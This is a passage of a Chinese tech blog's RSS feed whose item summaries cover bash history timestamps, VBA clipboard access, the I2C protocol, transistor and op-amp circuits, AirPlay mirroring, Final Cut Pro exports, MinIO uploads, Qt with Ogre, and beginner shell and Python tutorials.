      <description>该设置支持Centos以及Ubuntu系统 linux系统使用history命令可以展示系统在当前用户下运行过的历史命令 从上图中可以看出，在展示历史命令时是不显示命令运行的时间的&#xA;为了使得运行history之后展示历史命令运行的时间 修改配置文件：/etc/bashrc、/etc/profile、~/.bashrc（改任意一个都行）&#xA;我们这里修改 /etc/profile 文件&#xA;IP_USER=`who -u am i 2&amp;gt;/dev/null | awk &#39;{print $NF}&#39; | sed -e &#39;s/[()]//g&#39;` if [ -z $USER_IP ] then USER_IP=`hostname` fi HISTTIMEFORMAT=&#34;%F %T: &#34; export HISTTIMEFORMAT 修改之后重新加载文件：&#xA;source /etc/profile 运行history查看效果</description>
    </item>
    <item>
      <title>VBA操作剪切板</title>
      <link>https://bchobby.github.io/posts/aac04b9ada62af7a54ed80da5803cbef/</link>
      <pubDate>Sun, 26 Sep 2021 13:23:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aac04b9ada62af7a54ed80da5803cbef/</guid>
      <description>VBA操作剪切板 一，利用MsForms.DataObject操作1，什么是DataObject对象2，用vba操作剪切板注意3，声明方式4，文本写入剪切板5，读取剪切板文本 二，利用API操作剪切板1，用到得API函数2，写入剪切板3，读取4， 提取剪贴板所有数据格式的代码5，整理一个上面用得全部api 一，利用MsForms.DataObject操作 1，什么是DataObject对象 传输操作中使用的格式化文本数据的保留区域。 还保留 DataObject 中存储的文本块所对应的 格式 的列表&#xA;DataObject 可包括一段针对剪贴板文本格式的文本和一段针对每种其他文本格式（如自定义格式和用户定义的格式）的文本。&#xA;DataObject 与剪贴板不同。 DataObject 支持涉及剪贴板和文本的拖放操作的命令。 在启动涉及剪贴板的操作（如 GetText）或拖放操作时，该操作中涉及的数据将移动到 DataObject。&#xA;DataObject 的工作方式与剪贴板类似。 如果您将文本字符串复制到 DataObject，则 DataObject 将存储文本字符串。 如果您将同一格式的第二个字符串复制到 DataObject，则 DataObject 将弃用第一个文本字符串并存储第二个字符串的副本。 它将存储一段指定格式的文本并保留最近操作中的文本。&#xA;2，用vba操作剪切板注意 不要打开剪切板，同时只能一个操作，否则强制退出&#xA;3，声明方式 前期绑定&#xA;勾选–&amp;gt;Micorosoft Forms 2.0 Object LIbrary&#xA;后期绑定&#xA;CreateObject(&#34;new:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}&#34;)&#xA;4，文本写入剪切板 Sub test() Dim jq As New MSForms.DataObject Dim ss As String ss = &#34;测试文本&#34; &#39;文本变量 jq.SetText ss &#39;赋值给DataObject jq.PutInClipboard &#39;写入剪切板 End Sub 5，读取剪切板文本 Sub test2() Dim jq As New MSForms.</description>
    </item>
    <item>
      <title>【从零学习硬件】I2C总线协议学习</title>
      <link>https://bchobby.github.io/posts/2849fc4699956bc572c40e6f206b881c/</link>
      <pubDate>Sat, 25 Sep 2021 23:59:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2849fc4699956bc572c40e6f206b881c/</guid>
      <description>I2C协议 I2C是由 Phiilps提出的，目前被广泛应用在系统内多个IC间的通讯。&#xA;I2C是每个连接到总线的设备都有一个独立的地址，主机可以通过该地址来访问不同设备。主机通过SDA线发送设备地址（SLAVE_ADDRESS）查找从机，SLAVE_ADDRESS可以是7位或10位，紧跟着SLAVE_ADDRESS的一个数据位用来表示数据传输方向，即第8位或11位。&#xA;物理层介绍 I2C总线是一种双向的同步串行总线，它支持设备之间的短距离通信，经常用于处理器和一些外围设备之间的接口通信。&#xA;通信模式&#xA;速率&#xA;电容负载&#xA;上拉电阻&#xA;标准模式&#xA;100Kbps&#xA;400pF&#xA;快速模式&#xA;400Kbps&#xA;200pF&#xA;高速模式&#xA;3.4Mbps&#xA;一个支持多个设备的总线，I2C总线物理层由两根线组成：串行时钟线SCL、串行数据线SDA。由于这两根线都是开漏输出结构，因此必须都接上拉电阻到高电平，因此当总线处于空闲状态时，两根线都处于高电平状态。&#xA;而且各个设备之间的SCL和SDA线都是线与关系。I2C总线上扩展的器件的数量主要由电容负载来决定，其负载能力为400pF。I2C总线具有极低的电流消耗。0时表示写；1时表示读。&#xA;I2C总线的上拉电阻的阻值要精心考虑，&#xA;上拉电阻的阻值太大，则由于I2C设备输入端的输入电容的存在，会造成信号上升沿和下降沿变缓，以至于不能满足I2C设备的建立时间和保持时间，造成通信的错误发生；上拉电阻的阻值过小，则会造成较大的功率损耗。因此I2C通信的上拉电阻的阻值要满足设备上升沿和下降沿要求的同时尽量选择较大的阻值，以降低消耗的功耗问题。 协议相关的硬件相关的时序描述详见下图&#xA;硬件时序及电平要求详见下表&#xA;协议层 2C总线上的每一个设备都可以作为主设备或者从设备，而且每一个设备都会对应一个唯一的设备地址。&#xA;通常将CPU模块作为主设备，而挂接在总线上的其他设备作为从设备。&#xA;I2C总线上的主设备与从设备之间以8字节为单位进行双向数据传输，并且每个单位后还须跟着一位ACK位。&#xA;其中数据在SCL处于低电平时被放到SDA数据线上，在SCL处于高电平时进行数据的采样。&#xA;I2C总线的传输时序包括：开始条件、地址帧、数据帧、停止条件、重复开始条件。&#xA;数据有效性 SCL为高电平时表示有效数据，SDA为高电平表示“1”，低电平表示“0”；&#xA;SCL为低电平时表示无效数据，此时SDA会进行电平切换，为下次数据表示做准备。&#xA;起始条件S和停止条件P 起始条件S：标识传输正式开始，当SCL高电平时，SDA由高电平向低电平转换； 停止条件P：当SCL高电平时，SDA由低电平向高电平转换。 起始和停止条件一般由主机产生。总线在起始条件后处于busy，停止条件的某段时间后，总线才再次处于空闲状态。&#xA;数据传输格式 传输的每个字节必须为8位，而总字节数不受限制。每个字节后必须跟一个响应位。首先开始传输的是数据最高位，即MSB位。如果此时从机正忙于其他功能，如正在中断服务程序，则需要使SCL线保持低电平迫使主机进入等待状态，直到从机准备完成。&#xA;数据接收方收到传输的一个字节数据后，需要给出响应，此时处在第九个时钟，发送端释放SDA线控制权，将SDA电平拉高，由接收方控制。若希望继续，则给出“应答（ACK）”信号，即SDA为低电平；反之给出“非应答（NACK）”信号，即SDA为高电平。&#xA;通讯过程 地址帧：地址帧总是在一次通信的最开始出现，通常包括7位的设备地址(MSB)和最后1位的读写控制位(1表示读，0表示写)。接下来是1位的NACK/ACK，当这8位地址发送完成后，Slave设备获得SDA的控制权，此时Slave设备应该在第9个时钟脉冲之前回复一个ACK(将SDA拉低)以表示数据接收正常，否则表示数据接受失败，控制权交由Master设备处理。&#xA;数据帧：在地址帧发送之后，就可以开始传送数据了。每个数据帧8位，数据帧的数量可以是任意的，直到产生停止条件。每一个8位数据传输完成之后，接收方就需要回复一个ACK/NACK。&#xA;最后在产生一个停止条件结束整个通信过程。&#xA;注1：上面都是以8位为一个单元进行的数据传输，其实I2C也是支持10位地址空间的。对于10位地址的传输时序，需要2个地址帧完成地址的传输，其他和8位的传输协议相同。下图为10位地址传输时序图。&#xA;通讯过程中会不断地往状态寄存器I2C_SRx写入参数，我们可以通过读取相应位的值来了解通讯状态。&#xA;主机产生起始信号S，产生“EV5”事件，对I2C_SR1寄存器的SB位置1，表示起始信号已发送；接下来发送设备地址，并等待从机应答（A），从机应答后产生“EV6”和“EV8”事件，此时I2C_SR1寄存器的ADDR位和TxE位被置1。ADDR置1表示地址已发送，TxE置1表示数据寄存器为空；往数据寄存器I2C_DR写入要发送的数据，此时TxE被置0，数据寄存器非空，通过SDA信号线逐位发送数据后，又会产生“EV8”事件，TxE位又被置1，并且从机给出应答。那么，重复这个过程，就可以连续发送多个字节的数据了；数据发送完成后，产生停止信号P，产生“EV8_2”事件，此时I2C_SR1的TxE位和BTF位被置1，BTF位被置1表示字节发送结束。那么至此，通讯结束。 以上的过程会在I2C读写数据编程中作为参考。&#xA;另外，如果设置控制寄存器I2C_CR2相应位的中断使能，则以上事件产生时，都会进入I2C中断，进入中断程序后再通过检查寄存器的相应位来判断具体为哪个事件。&#xA;而接收数据的过程，也就是读数据的过程，有两次起始信号。第一次起始信号后，发送从设备地址找到从设备后，向从设备内部写入需要读取的数据地址；在第二次起始信号后才开始读取数据。&#xA;时钟同步：低电平由时钟低电平最长的器件决定 从机希望主机降低传送速度，通过将SCL主动拉低延长其低电平时间来通知主机，当主机在准备下一次传送发现SCL的电平被拉低时就进行等待，直至从机完成操作并释放SCL线的控制控制权。这样，主机实际上受到从机的时钟同步控制。&#xA;可见SCL线上的低电平是由时钟低电平最长的器件决定；高电平的时间由高电平时间最短的器件决定。这就是时钟同步，它解决了I2C总线的速度同步。&#xA;I2C仲裁 IIC设备对总线的操作仅有“把线路接地”——输出逻辑0。基于IIC总线的设计，线路上不可能出现电平冲突现象。&#xA;如果一设备发送逻辑0，其他发送逻辑1，那么线路看到的只有逻辑0。也就是说，发送逻辑0的始终是“赢家”。&#xA;总线的物理接法允许主设备往总线写数据的同事读取数据。这样两主设备争总线的时候“赢家”并不知道竞争的发生，只有“输家”发现了冲突——当写一个逻辑1，却读到了0——而退出竞争。&#xA;假设主控器1要发送的数据DATA1为“101 ……”；主控器2要发送的数据DATA2为“1001 ……”总线被启动后两个主控器在每发送一个数据位时都要对自己的输出电平进行检测，只要检测的电平与自己发出的电平一致，他们就会继续占用总线。在这种情况下总线还是得不到仲裁。当主控器1发送第3位数据“1”时（主控器2发送“0” ），由于“线与”的结果SDA上的电平为“0”，这样当主控器1检测自己的输出电平时，就会测到一个与自身不相符的“0”电平。这时主控器1只好放弃对总线的控制权；因此主控器2就成为总线的唯一主宰者。&#xA;不难看出：&#xA;① 对于整个仲裁过程主控器1和主控器2都不会丢失数据；&#xA;② 各个主控器没有对总线实施控制的优先级别；&#xA;③总线控制随即而定，他们遵循“低电平优先”的原则，即谁先发送低电平谁就会掌握对总线的控制权。&#xA;根据上面的描述，“时钟同步”与“总线仲裁”可以总结如下规律：&#xA;①主机通过检测SCL上的电平来调节与从机的速度同步问题——时钟同步；</description>
    </item>
    <item>
      <title>浅谈三极管、运放、MOS管驱动 的常见电路</title>
      <link>https://bchobby.github.io/posts/e824f905f7818a16de7fdcc503e252a8/</link>
      <pubDate>Sat, 25 Sep 2021 20:34:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e824f905f7818a16de7fdcc503e252a8/</guid>
      <description>浅谈三极管、运放、MOS管驱动的常见电路 前言一、三极管的应用电路二、运算放大器的应用电路三、MOS管驱动电路总结 前言 随着对电路应用能力的要求越来越高，模拟电路中的三极管和运放显得越来越重要，很多人都开启了模拟电路的学习，本文就介绍了三极管和运放中常见电路及应用的基础内容。&#xA;一、三极管的应用电路 三极管有三个工作状态：截止、放大、饱和，放大状态很有学问也很复杂，多用于集成芯片，比如运放……&#xA;其实，对信号的放大我们通常用运放处理，三极管更多的是当做一个开关管来使用，且只有截止、饱和两个状态。截止状态看作是关，饱和状态看作是开。Ib≥1mA时，完全可以保证三极管工作在饱和状态，对于小功率的三极管此时Ic为几十到几百mA，驱动继电器、蜂鸣器等功率器件绰绰有余。&#xA;常见的例子有：&#xA;把三极管箭头理解成一个开关，如下图为NPN型三极管，按下开关S1，约1mA的Ib流过箭头，三极管工作在饱和状态，c极到e极完全导通，c极电平接近0V(GND)，负载RL两端压降接近5V。&#xA;Ib与Ic电流都流入e极，根据电流方向，e极为低电平，应接地，c极接负载和电源。对于NPN三极管更应该在b极加一个下拉电阻，一是为了保证b、e极间电容加速放电，加快三极管截止；二是为了保证给三极管b极一个已知逻辑状态，防止控制输入端悬空或高阻态时对三极管工作状态的不确定。&#xA;如下图为PNP型三极管，按下开关S2，约1mA的Ib流过箭头，三极管工作在饱和状态，e极到c极完全导通，c极电平接近5V，负载RL两端压降接近5V。&#xA;Ib与Ic电流都流出e极，根据电流方向，e极为高电平，应接电源，c极接负载和地；对于PNP三极管，更应该在b极加一个上拉电阻，原理同上。&#xA;下图NPN三极管，对于感性负载，必须在负载两端并联一个反向续流二极管，因为三极管在关断时，线圈会自感产生很高的反向电动势，而续流二极管提供的续流通路，同时钳位反向电动势，防止击穿三极管。续流二极管的选型必须是快恢复二极管或肖特基二极管，两者响应速度快。&#xA;为三极管延时导通，快速关断的一个仿真电路，D1、R2、C1、D2构成延时导通Q2的回路，C1的电压为12V的时候Q2导通，R3、Q1、R4、R1构成快速关断Q2的回路，C1通过R3和Q1快速放电。&#xA;总结：&#xA;（1）对于NPN三极管，在不考虑三极管的情况下，b极电阻与下拉电阻的分压必须大于0.7V，PNP同理。&#xA;（2）b极电流必须≥1mA可保证三极管处于饱和状态，此时Ic满足三极管 大的驱动能力。&#xA;（3）另外，对于三极管的放大倍数β，指的是输出电流的驱动能力放大了β，比如100倍，并不是把输出电流真正的放大了100倍。&#xA;二、运算放大器的应用电路 运算放大器组成的电路五花八门，令人眼花瞭乱，是模拟电路中学习的重点。在分析它的工作原理时倘没有抓住核心，往往令人头大。在介绍运算放大器电路的时候，无非是先给电路来个定性，比如这是一个同向放大器，然后去推导它的输出与输入的关系，然后得出Vo=(1+Rf)Vi，那是一个反向放大器，然后得出Vo=-RfVi……最后学生往往得出这样一个印象：记住公式就可以了!如果我们将电路稍稍变换一下，他们就找不着北了!&#xA;今天，芯片级维修教各位战无不胜的两招，这两招在所有运放电路的教材里都写得明白，就是“虚短”和“虚断”，不过要把它运用得出神入化，就要有较深厚的功底了。&#xA;虚短和虚断的概念&#xA;由于运放的电压放大倍数很大，一般通用型运算放大器的开环电压放大倍数都在80dB以上。而运放的输出电压是有限的，一般在 10 V～14 V。因此运放的差模输入电压不足1 mV，两输入端近似等电位，相当于 “短路”。开环电压放大倍数越大，两输入端的电位越接近相等。&#xA;“虚短”是指在分析运算放大器处于线性状态时，可把两输入端视为等电位，这一特性称为虚假短路，简称虚短。显然不能将两输入端真正短路。&#xA;由于运放的差模输入电阻很大，一般通用型运算放大器的输入电阻都在1MΩ以上。因此流入运放输入端的电流往往不足1uA，远小于输入端外电路的电流。故通常可把运放的两输入端视为开路，且输入电阻越大，两输入端越接近开路。&#xA;“虚断”是指在分析运放处于线性状态时，可以把两输入端视为等效开路，这一特性 称为虚假开路，简称虚断。显然不能将两输入端真正断路。&#xA;在分析运放电路工作原理时，首先请各位暂时忘掉什么同向放大、反向放大，什么加法器、减法器，什么差动输入……暂时忘掉那些输入输出关系的公式……这些东东只会干扰你，让你更糊涂﹔也请各位暂时不要理会输入偏置电流、共模抑制比、失调电压等电路参数，这是设计者要考虑的事情。我们理解的就是理想放大器(其实在维修中和大多数设计过程中，把实际放大器当做理想放大器来分析也不会有问题)。&#xA;好了，让我们抓过两把“板斧”------“虚短”和“虚断”，开始“庖丁解牛”了。*&#xA;图一运放的同向端接地=0V，反向端和同向端虚短，所以也是0V，反向输入端输入电阻很高，虚断，几乎没有电流注入和流出，那么R1和R2相当于是串联 的，流过一个串联电路中的每一只组件的电流是相同的，即流过R1的电流和流过R2的电流是相同的。流过R1的电流I1 = (Vi - V-)/R1 ……a 流过R2的电流I2 = (V- - Vout)/R2 ……b V- = V+ = 0 ……c I1 = I2 ……d 求解上面的初中代数方程得Vout = (-R2/R1)Vi 这就是传说中的反向放大器的输入输出关系式了。&#xA;图二中Vi与V-虚短，则 Vi = V- ……a 因为虚断，反向输入端没有电流输入输出，通过R1和R2 的电流相等，设此电流为I，由欧姆定律得：I = Vout/(R1+R2) ……b Vi等于R2上的分压， 即：Vi = IR2 ……c 由abc式得Vout=Vi*(R1+R2)/R2 这就是传说中的同向放大器的公式了。</description>
    </item>
    <item>
      <title>如何通过 AirPlay 镜像您的 Mac 显示器</title>
      <link>https://bchobby.github.io/posts/869d220a381dc866fd4167805e03200d/</link>
      <pubDate>Sat, 25 Sep 2021 10:39:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/869d220a381dc866fd4167805e03200d/</guid>
      <description>AirPlay 可让您将 Mac 显示器的内容流式传输到兼容设备，例如 Apple TV、支持 AirPlay 的第三方电视机或 Squirrel 的 Reflector 软件，它将许多设备转换为 AirPlay（和 Google Cast）目的地。&#xA;使用起来轻而易举：在 macOS 中打开“显示”首选项面板，然后从“隔空播放显示”或“添加显示”弹出菜单中选择目标。这会将 AirPlay 目标添加为 Mac 的附加显示器。&#xA;但是，如果您希望该显示器镜像您的屏幕（或主显示器）而不是扩展桌面呢？这个过程不是很明显——部分是因为你必须设置镜像的顺序，部分是因为 Apple 现在有三个关于如何扩展或镜像桌面的“时代”。Apple 在 10.15 Catalina 中进行了更改，该更改保留在 11 Big Sur 中，并且即将在 macOS 12 Monterey 中推出一个完全不同且卓越的流程，该流程目前处于 Beta 测试阶段。&#xA;让我们来看看这些版本中的三种不同的 macOS 方法，以便您可以找到适合您 Mac 的选项。&#xA;在 Mojave 及更早版本中通过 AirPlay 镜像&#xA;在 Mojave 和更早版本中，如果有可用的 AirPlay 屏幕目标并且您在“显示”首选项窗格中选中了“可用时在菜单栏中显示镜像选项”，macOS 会在菜单栏中放置一个 Apple TV 图标。您还可以从 AirPlay 显示菜单中选择目的地。&#xA;只有在您选择 AirPlay 目的地并开始共享后，您才能选择是否镜像。在 Apple TV 菜单中，您可以从标有“AirPlay: Destination Name ”的灰色项目下方进行选择， 以从您的内部或任何其他显示器镜像（如“镜像显示名称”），或者选择“用作 单独的显示器”以扩展您的桌面。</description>
    </item>
    <item>
      <title>Final Cut Pro中文新手教程 (八) 如何导出视频「下」</title>
      <link>https://bchobby.github.io/posts/425a4bb4ff13bf9ed0efb13b4cafd39e/</link>
      <pubDate>Sat, 25 Sep 2021 10:32:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/425a4bb4ff13bf9ed0efb13b4cafd39e/</guid>
      <description>大家好，欢迎来学习Final Cut Pro的基础教程，我是Mac小伯通，本期视频讲解——如何导出视频「下」。&#xA;本教程基于Final Cut Pro10.4.10，但是适用于整个Final Cut Pro X系列，各子版本都是差不多的，大同小异。&#xA;单个片段导出成视频&#xA;在素材窗口中选中单个片段，可以看到有黄色高亮，按快捷键cmd+e调出导出窗口可以直接导出成视频&#xA;多个片段导出成视频&#xA;除可以选择单个片段，也可以选择多个片段鼠标按shirt全部选中，如图：&#xA;按快捷键cmd+e可以看到也可以导出多个不同的一个片段，可以直接导出成视频&#xA;导出成图片&#xA;因为截图没有快捷键所以我们必须选择图标或者说是在文件共享这边进行&#xA;只有这个母版文件才可以使用cmd+e的一个快捷键&#xA;如果要截图的话也是一样的我们选中片段点击导出图标截图&#xA;可以看到这一帧的截图就被我们截图下来了，非常方便，设置也是一样的操作。&#xA;单独范围的选择&#xA;按快捷键i设置开头然后鼠标移到左边或者右边设置O设置结尾&#xA;就可以选择一小段的一个范围进行一个导出，可以用i和O进行一个片段范围的导出&#xA;导出多个i和O&#xA;我们在时间线窗口中是没有方法的，但是我们在素材窗口中是有方法的&#xA;我们可以按住command键，鼠标进行一个拖拽，就会有两个片段范围进行一个存在&#xA;按快捷键cmd+e调出导出窗口看到可以导出多个片段直接导出成视频，非常方便&#xA;除可以按cmd来进行多个片段操作，也可以按快捷键cmd+shift+i和cmd+shift+o&#xA;当我们使用cmd+shift+i和cmd+shift+o的时候，i和O就可以同时存在多个&#xA;但是如果我们仅仅只用i和O是不可以的，可以看到仅仅只用i和O其他都会消失的&#xA;这就是我们如何使用多个i和O的一个方法&#xA;我们想取消的话也可以直接按住option+x取消它的一个范围选择&#xA;我们继续来选择一个片段，我们点击导出母版文件&#xA;选择母带录制的时候，角色栏是可以进行一个更改的 Macv.comMacv.com&#xA;这边选择发布下面的随便任意的一个选项我们的角色是无法进行一个更改的&#xA;你们导出的话就只能选择母带录制而不能选择发布因为发布的话角色是无法进行一个更改的&#xA;发布选项可以修改分辨率，选中片段质量决定分辨率的高低&#xA;小编选中的片段是4k视频，所以分辨率最高是3840*2160&#xA;母带录制和网页托管选择&#xA;我们以4K的一个片段为例按cmd+e导出，母带录制和网页托管都是mov的格式&#xA;在不考虑这个角色的一个前提下&#xA;如果我们选择是网页托管下的mov选择一个4K的分辨率可以看到它是57.2兆&#xA;如果我们选择母在录制里面，它是一个98.5兆接近了两倍的一个大小&#xA;我们选择母带录制这个视频和音频母带它就是极限画质&#xA;如果我们选择网页托管他就是中上的一个画质，即使中上画质也是十分清楚的，根据自己需要进行选择</description>
    </item>
    <item>
      <title>C# 使用Minio Api上传图片无法预览，直接在管理界面上传的图片可以预览</title>
      <link>https://bchobby.github.io/posts/f0967499dbd9597f4f4eac12dafaa9f1/</link>
      <pubDate>Fri, 24 Sep 2021 22:10:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0967499dbd9597f4f4eac12dafaa9f1/</guid>
      <description>C# 使用minio api上传图片无法预览，直接在管理界面上传的图片可以预览 记录一下最近在使用minio api上传图片到minio服务器遇到一些问题，如下图使用minio api PutObjectAsync方法上传到minio&#xA;上传至minio管理界面，然后是没有预览的操作的&#xA;找了许多原因，一开始以为是文件的问题，由于公司文件加密，所以一直觉得是加密的问题，直到拿到自己电脑测试，才发现也会出现同样的问题，最后查看官方文档，发现是 PutObjectAsync方法如果不为Content-Type参数传值，默认就是“application/octet-stream”，那么我就在想如果是图片，应该不是这个类型，最后通过获取本地文件的类型，告诉minio api 我传递的是什么类型的文件，才解决问题，代码如下：&#xA;使用 C# Http.Web下的MimeMapping.GetMimeMapping()方法获取用户上传的文件类型，最终上传。&#xA;效果图如下：</description>
    </item>
    <item>
      <title>Qt使用Ogre引擎开发3d项目</title>
      <link>https://bchobby.github.io/posts/ec7c27431a806c4ff024d3749462463d/</link>
      <pubDate>Fri, 24 Sep 2021 17:38:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec7c27431a806c4ff024d3749462463d/</guid>
      <description>对于个人开发者来说，选择开源工具应该是最好的选择。&#xA;此次选择 开源建模软件Blender + 开源3d渲染引擎Ogre + 开源程序框架Qt来实现。&#xA;Ogre下载&#xA;https://www.ogre3d.org/&#xA;Blender下载&#xA;https://www.blender.org/&#xA;Blender导出Ogre模型&#xA;https://github.com/OGRECave/blender2ogre&#xA;Qt调用Ogre&#xA;https://ogrecave.github.io/ogre/api/latest/setup.html&#xA;https://wiki.ogre3d.org/Integrating+Ogre+into+QT5&#xA;继承基类，创建自己的app类&#xA;class MyTestApp : public OgreBites::ApplicationContextQt, public OgreBites::InputListener { public: MyTestApp(); bool keyPressed(const OgreBites::KeyboardEvent&amp;amp; evt); bool mouseMoved(const OgreBites::MouseMotionEvent&amp;amp; evt); bool mousePressed(const OgreBites::MouseButtonEvent &amp;amp;evt); bool mouseReleased(const OgreBites::MouseButtonEvent &amp;amp;evt); void setup(void); Ogre::SceneNode* node; bool mPressed; }; 。。。&#xA;然后获取Ogre的窗口widget&#xA;{ ... mApp = new MyTestApp(); // mApp-&amp;gt;useQtEventLoop(true); QWindow *mWindow = new QWindow(); // mApp-&amp;gt;createWindow(mWindow); mApp-&amp;gt;injectMainWindow(mWindow); mApp-&amp;gt;initApp(); //由window创建的widget auto widget = QWidget::createWindowContainer(mWindow); //我自己做的一些修正。因为原Ogre窗口老是超出父控件的空间。 OgreView *v = new OgreView(); v-&amp;gt;setOgreWidget(widget); //塞到对应位置 QVBoxLayout *mLayout = new QVBoxLayout(); mLayout-&amp;gt;addWidget(v); .</description>
    </item>
    <item>
      <title>如何在 Linux 中创建并运行 Shell 脚本（Bash 初学者教程）</title>
      <link>https://bchobby.github.io/posts/342024ed173b7939304c87155450d83d/</link>
      <pubDate>Fri, 24 Sep 2021 16:48:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/342024ed173b7939304c87155450d83d/</guid>
      <description>文章目录 1、创建并运行第一个 shell 脚本2、将 shell 脚本转换为 bash 脚本3、为什么大多数 shell 脚本都包含 #! /bin/bash 在 shell 脚本的开头？4、将 shell 脚本添加到 PATH（以便它可以从任何目录运行） 1、创建并运行第一个 shell 脚本 首先创建一个名为 scripts 的新目录，它将托管我们所有的 bash 脚本。&#xA;mkdir scripts cd scripts 现在在这个“脚本目录”中，使用 cat 命令创建一个名为 hello.sh的新文件：&#xA;cat &amp;gt; hello.sh 通过在终端中键入以下内容，在其中插入以下行：&#xA;echo &#39;Hello, World!&#39; 按 Ctrl+D 将文本保存到文件中，同时从 cat 命令中出来。&#xA;你还可以使用基于终端的文本编辑器，如 Vim、Emacs或 Nano。如果你使用的是桌面 Linux，还可以使用图形文本编辑器（如 Gedit）将文本添加到此文件中。&#xA;基本上你是在使用echo 命令来打印“Hello World”。你可以直接在终端中使用此命令，但在本测试中，你将通过 shell 脚本运行此命令。&#xA;现在使用 chmod 命令使文件 hello.sh 可执行，如下所示：&#xA;chmod u+x hello.sh 最后，通过在 hello.sh 前面加上“bash”来运行你的第一个 shell 脚本：</description>
    </item>
    <item>
      <title>Final Cut Pro 中文基础教程(四八)精确度编辑</title>
      <link>https://bchobby.github.io/posts/f71228e32ac0dcaa226d5f0e6e997be9/</link>
      <pubDate>Fri, 24 Sep 2021 15:49:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f71228e32ac0dcaa226d5f0e6e997be9/</guid>
      <description>为大家带来Final Cut Pro 中文基础教程，此教程非常适合刚接触Final Cut Pro的小白，或者想进阶的一些新手。想快点熟悉FCPX这款视频剪辑插件的朋友可以收藏学习哦！今天我们来说一说精确度编辑。&#xA;在Final Cut Pro中有两种方法可以进入精确度编辑器&#xA;首先第一种方法就是我们在片段的开头和结尾，当鼠标放到这里的时候我们可以看注意到我的选择工具的图标已经变了，当图标变成这个的时候双击它就可以进入精确度编辑器&#xA;还有另外一个方法就是我们选中任意一个片段按Control+E这样的话也可以快速的进入它的一个精确度编辑器&#xA;可以在这里面就进行一个画面的延长或者缩短，往右边它就会整体都延长，往左边就可以整体缩短&#xA;全部选中这些片段，找到修剪工具结合可以把它缝合成一个完整的片段</description>
    </item>
    <item>
      <title>初识Python 和搭建Python环境</title>
      <link>https://bchobby.github.io/posts/2193ce9bab136c6df21279fc4ad7e7a5/</link>
      <pubDate>Fri, 24 Sep 2021 15:39:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2193ce9bab136c6df21279fc4ad7e7a5/</guid>
      <description>编程语言是什么？ Python 代码示例：&#xA;print(&#34;hello world&#34;) 这段代码在稍后的课程就会学习到，它能让电脑在屏幕上打印&#34;hello world&#34;这样一段内容。&#xA;可以看到这段代码是由英文单词和标点符号来组成的，实际上编程就像是写作文，只是书写的时候必须要遵守一些特殊的格式规定。&#xA;但是计算机是基于二进制的 0 和 1 来处理运算，所以当今的世界才会叫数字化时代。&#xA;这种 0 和 1 的组合指令又叫做机器语言，机器语言是电脑能够直接处理的指令，换而言之电脑根本不认识我们编程时写的英文单词和标点符号。&#xA;那么我们编程写的代码究竟如何控制电脑运行的？&#xA;就像我们和外国人说话要把内容翻译成英语一样。如果我们的代码想要运行，就必须要经过翻译处理，把 Python 语言的代码翻译成机器语言，这个过程叫做 编译，用来处理代码编译的软件叫做 编译器。&#xA;编程语言就是用来定义 计算机程序 的形式语言。我们通过编程语言来编写程序代码，再通过语言处理程序执行向计算机发送指令，让计算机完成对应的工作。&#xA;简单来说，编程语言就是人类和计算机进行交流的语言。&#xA;** **&#xA;计算机是如何处理程序的？ 按照冯·诺依曼存储程序的原理，计算机的工作流程大致如下：&#xA;用户打开程序，程序开始执行；操作系统将程序内容和相关数据送入计算机的内存；CPU根据程序内容从内存中读取指令；CPU分析、处理指令，并为取下一条指令做准备；取下一条指令并分析、处理，如此重复操作，直至执行完程序中全部指令，最后将计算的结果放入指令指定的存储器地址中。&#xA;Python简介 Python是由荷兰人吉多·范罗苏姆（Guido von Rossum，后面都称呼他为Guido）发明的一种编程语言。&#xA;Python的历史&#xA;** **&#xA;1989年圣诞节：Guido开始写Python语言的编译器。&#xA;1991年2月：第一个Python解释器诞生，它是用C语言实现的，可以调用C语言的库函数。&#xA;1994年1月：Python 1.0正式发布。&#xA;2000年10月：Python 2.0发布，Python的整个开发过程更加透明，生态圈开始慢慢形成。&#xA;2008年12月：Python 3.0发布，引入了诸多现代编程语言的新特性，但并不完全兼容之前的Python代码。&#xA;说明：大多数软件的版本号一般分为三段，形如A.B.C，其中A表示大版本号，当软件整体重写升级或出现不向后兼容的改变时，才会增加A；B表示功能更新，出现新功能时增加B；C表示小的改动（例如：修复了某个Bug），只要有修改就增加C。&#xA;Python的优点&#xA;Python的优点很多，简单为大家列出几点：&#xA;简单明确，跟其他很多语言相比，Python更容易上手。&#xA;开放源代码，拥有强大的社区和生态圈。&#xA;能够在Windows、macOS、Linux等各种系统上运行。&#xA;Python的应用领域&#xA;目前Python在Web服务器应用开发、云基础设施开发、网络数据采集（爬虫）、数据分析、量化交易、机器学习、深度学习、自动化测试、自动化运维等领域都有用武之地。&#xA;安装Python环境 想要开始你的Python编程之旅，首先得在计算机上安装Python环境，简单的说就是得安装运行Python程序的工具，通常也称之为Python解释器。我们强烈建议大家安装Python 3的环境，很明显它是目前更好的选择。&#xA;Windows环境&#xA;可以在Python官方网站（Download Python | Python.org）找到下载链接并下载Python 3的安装程序。&#xA;对于Windows操作系统，可以下载“executable installer”。&#xA;需要注意的是，如果在Windows 7环境下安装Python 3，需要先安装Service Pack 1补丁包，大家可以在Windows的“运行”中输入winver命令，从弹出的窗口上可以看到你的系统是否安装了该补丁包。</description>
    </item>
    <item>
      <title>【B站视频教程笔记】基于VSCode和CMake实现C/C&#43;&#43;开发 | Linux篇（gcc/g&#43;&#43;）（安装、配置、使用详细教程）（VSCode教程）（CMake教程）（精！）</title>
      <link>https://bchobby.github.io/posts/50d45253cc9a4587ec8581e957bb5321/</link>
      <pubDate>Fri, 24 Sep 2021 14:59:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50d45253cc9a4587ec8581e957bb5321/</guid>
